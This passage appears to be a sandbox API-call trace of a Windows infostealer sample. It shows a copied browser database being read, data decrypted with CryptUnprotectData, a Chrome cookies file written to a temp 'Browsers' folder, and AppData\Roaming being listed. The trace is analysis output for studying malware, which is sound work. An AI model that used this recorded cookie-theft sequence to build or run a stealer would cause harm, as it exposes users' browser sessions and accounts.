lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011", lpFilePart=0x0) returned 0x52 [0199.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0199.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_07.7774490+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_07.7774490+02_0011"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0199.187] GetFileType (hFile=0x4e4) returned 0x1 [0199.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0199.187] GetFileType (hFile=0x4e4) returned 0x1 [0199.187] GetFileSize (in: hFile=0x4e4, lpFileSizeHigh=0x12ff140 | out: lpFileSizeHigh=0x12ff140*=0x0) returned 0x7000 [0199.187] ReadFile (in: hFile=0x4e4, lpBuffer=0x3341d20, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x12ff05c, lpOverlapped=0x0 | out: lpBuffer=0x3341d20*, lpNumberOfBytesRead=0x12ff05c*=0x7000, lpOverlapped=0x0) returned 1 [0199.187] CloseHandle (hObject=0x4e4) returned 1 [0199.187] VarDecCmp (pdecLeft=0x12ff17c, pdecRight=0x12ff16c) returned 0x2 [0199.187] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12feb20, pdecRight=0x12feb10) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12ff104, pdecRight=0x12feb20) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12feb20, pdecRight=0x12feb10) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12ff104, pdecRight=0x12feb20) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12feb20, pdecRight=0x12feb10) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12ff104, pdecRight=0x12feb20) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12feb20, pdecRight=0x12feb10) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.188] VarDecCmp (pdecLeft=0x12ff104, pdecRight=0x12feb20) returned 0x1 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.188] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecCmp (pdecLeft=0x12feb20, pdecRight=0x12feb10) returned 0x1 [0199.189] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecCmp (pdecLeft=0x12ff104, pdecRight=0x12feb20) returned 0x1 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecCmp (pdecLeft=0x12feb20, pdecRight=0x12feb10) returned 0x1 [0199.189] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12feaa8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feab8 | out: pdecResult=0x12feab8) returned 0x0 [0199.189] VarDecCmp (pdecLeft=0x12ff104, pdecRight=0x12feb20) returned 0x1 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.189] VarDecRound (in: pdecIn=0x12fead8, cDecimals=0, pdecResult=0x12feae8 | out: pdecResult=0x12feae8) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecCmp (pdecLeft=0x12feb60, pdecRight=0x12feb50) returned 0x2 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb40, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb40, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.190] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecCmp (pdecLeft=0x12feb60, pdecRight=0x12feb50) returned 0x1 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecCmp (pdecLeft=0x12feb60, pdecRight=0x12feb50) returned 0x2 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb40, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb40, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.191] VarDecCmp (pdecLeft=0x12feb60, pdecRight=0x12feb50) returned 0x1 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecCmp (pdecLeft=0x12feb60, pdecRight=0x12feb50) returned 0x2 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb40, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb40, cDecimals=0, pdecResult=0x12feb20 | out: pdecResult=0x12feb20) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecCmp (pdecLeft=0x12feb60, pdecRight=0x12feb50) returned 0x1 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.192] VarDecRound (in: pdecIn=0x12feb18, cDecimals=0, pdecResult=0x12feb28 | out: pdecResult=0x12feb28) returned 0x0 [0199.251] CryptUnprotectData (in: pDataIn=0x12ff13c, ppszDataDescr=0x0, pOptionalEntropy=0x12ff134, pvReserved=0x0, pPromptStruct=0x0, dwFlags=0x1, pDataOut=0x12ff144 | out: ppszDataDescr=0x0, pDataOut=0x12ff144) returned 1 [0199.267] LocalFree (hMem=0x13ac3d8) returned 0x0 [0199.269] CryptUnprotectData (in: pDataIn=0x12ff13c, ppszDataDescr=0x0, pOptionalEntropy=0x12ff134, pvReserved=0x0, pPromptStruct=0x0, dwFlags=0x1, pDataOut=0x12ff144 | out: ppszDataDescr=0x0, pDataOut=0x12ff144) returned 1 [0199.270] LocalFree (hMem=0x13da6c0) returned 0x0 [0199.273] CryptUnprotectData (in: pDataIn=0x12ff13c, ppszDataDescr=0x0, pOptionalEntropy=0x12ff134, pvReserved=0x0, pPromptStruct=0x0, dwFlags=0x1, pDataOut=0x12ff144 | out: ppszDataDescr=0x0, pDataOut=0x12ff144) returned 1 [0199.273] LocalFree (hMem=0x13da508) returned 0x0 [0199.273] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt", nBufferLength=0x105, lpBuffer=0x12feb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt", lpFilePart=0x0) returned 0x59 [0199.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff044) returned 1 [0199.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_cookies.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0199.274] GetFileType (hFile=0x468) returned 0x1 [0199.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff040) returned 1 [0199.275] GetFileType (hFile=0x468) returned 0x1 [0199.275] WriteFile (in: hFile=0x468, lpBuffer=0x3367a90*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x12ff0d0, lpOverlapped=0x0 | out: lpBuffer=0x3367a90*, lpNumberOfBytesWritten=0x12ff0d0*=0x162, lpOverlapped=0x0) returned 1 [0199.276] CloseHandle (hObject=0x468) returned 1 [0199.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c4) returned 1 [0199.378] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x12feb78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming", lpFilePart=0x0) returned 0x1f [0199.378] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x12fedec | out: lpFindFileData=0x12fedec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x10bf1d1d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.378] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x10bf1d1d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.378] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b86430, ftCreationTime.dwHighDateTime=0x1d5dad4, ftLastAccessTime.dwLowDateTime=0x6d463a90, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x6d463a90, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0xd38e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0nVA28w 5p.mp3", cAlternateFileName="0NVA28~1.MP3")) returned 1 [0199.379] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93173f0, ftCreationTime.dwHighDateTime=0x1d5e66c, ftLastAccessTime.dwLowDateTime=0x367e9e90, ftLastAccessTime.dwHighDateTime=0x1d5dbe1, ftLastWriteTime.dwLowDateTime=0x367e9e90, ftLastWriteTime.dwHighDateTime=0x1d5dbe1, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="1h6Np-yrFrxqG-t.mkv", cAlternateFileName="1H6NP-~1.MKV")) returned 1 [0199.379] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a4a7c30, ftCreationTime.dwHighDateTime=0x1d5e34b, ftLastAccessTime.dwLowDateTime=0x64d46d30, ftLastAccessTime.dwHighDateTime=0x1d5e66b, ftLastWriteTime.dwLowDateTime=0x64d46d30, ftLastWriteTime.dwHighDateTime=0x1d5e66b, nFileSizeHigh=0x0, nFileSizeLow=0xde7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="22yFD_l0bKrC_.m4a", cAlternateFileName="22YFD_~1.M4A")) returned 1 [0199.379] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7add91f0, ftCreationTime.dwHighDateTime=0x1d5dde8, ftLastAccessTime.dwLowDateTime=0x3f2f340, ftLastAccessTime.dwHighDateTime=0x1d5e6f4, ftLastWriteTime.dwLowDateTime=0x3f2f340, ftLastWriteTime.dwHighDateTime=0x1d5e6f4, nFileSizeHigh=0x0, nFileSizeLow=0x12e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="6KXn4NlvpboXL2D.wav", cAlternateFileName="6KXN4N~1.WAV")) returned 1 [0199.379] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78ea9a0, ftCreationTime.dwHighDateTime=0x1d5e6f1, ftLastAccessTime.dwLowDateTime=0xa665d910, ftLastAccessTime.dwHighDateTime=0x1d5d855, ftLastWriteTime.dwLowDateTime=0xa665d910, ftLastWriteTime.dwHighDateTime=0x1d5d855, nFileSizeHigh=0x0, nFileSizeLow=0xb1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="8elwbaE T4lPd7.png", cAlternateFileName="8ELWBA~1.PNG")) returned 1 [0199.379] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90b4aec0, ftCreationTime.dwHighDateTime=0x1d5e44e, ftLastAccessTime.dwLowDateTime=0xbf5a5ed0, ftLastAccessTime.dwHighDateTime=0x1d5e4d7, ftLastWriteTime.dwLowDateTime=0xbf5a5ed0, ftLastWriteTime.dwHighDateTime=0x1d5e4d7, nFileSizeHigh=0x0, nFileSizeLow=0xae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8USDs64Fb5W nU.avi", cAlternateFileName="8USDS6~1.AVI")) returned 1 [0199.379] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c922a0, ftCreationTime.dwHighDateTime=0x1d5daef, ftLastAccessTime.dwLowDateTime=0x3796c010, ftLastAccessTime.dwHighDateTime=0x1d5da46, ftLastWriteTime.dwLowDateTime=0x3796c010, ftLastWriteTime.dwHighDateTime=0x1d5da46, nFileSizeHigh=0x0, nFileSizeLow=0x15928, dwReserved0=0x0, dwReserved1=0x0, cFileName="9H9fjdq_j.rtf", cAlternateFileName="9H9FJD~1.RTF")) returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x504fcac0, ftCreationTime.dwHighDateTime=0x1d5e036, ftLastAccessTime.dwLowDateTime=0x8109c140, ftLastAccessTime.dwHighDateTime=0x1d5dadf, ftLastWriteTime.dwLowDateTime=0x8109c140, ftLastWriteTime.dwHighDateTime=0x1d5dadf, nFileSizeHigh=0x0, nFileSizeLow=0x7790, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCa1S.m4a", cAlternateFileName="")) returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24912c20, ftCreationTime.dwHighDateTime=0x1d5e42e, ftLastAccessTime.dwLowDateTime=0xa4b354d0, ftLastAccessTime.dwHighDateTime=0x1d5e700, ftLastWriteTime.dwLowDateTime=0xa4b354d0, ftLastWriteTime.dwHighDateTime=0x1d5e700, nFileSizeHigh=0x0, nFileSizeLow=0x17702, dwReserved0=0x0, dwReserved1=0x0, cFileName="BqVpt3mpQN5q.flv", cAlternateFileName="BQVPT3~1.FLV")) 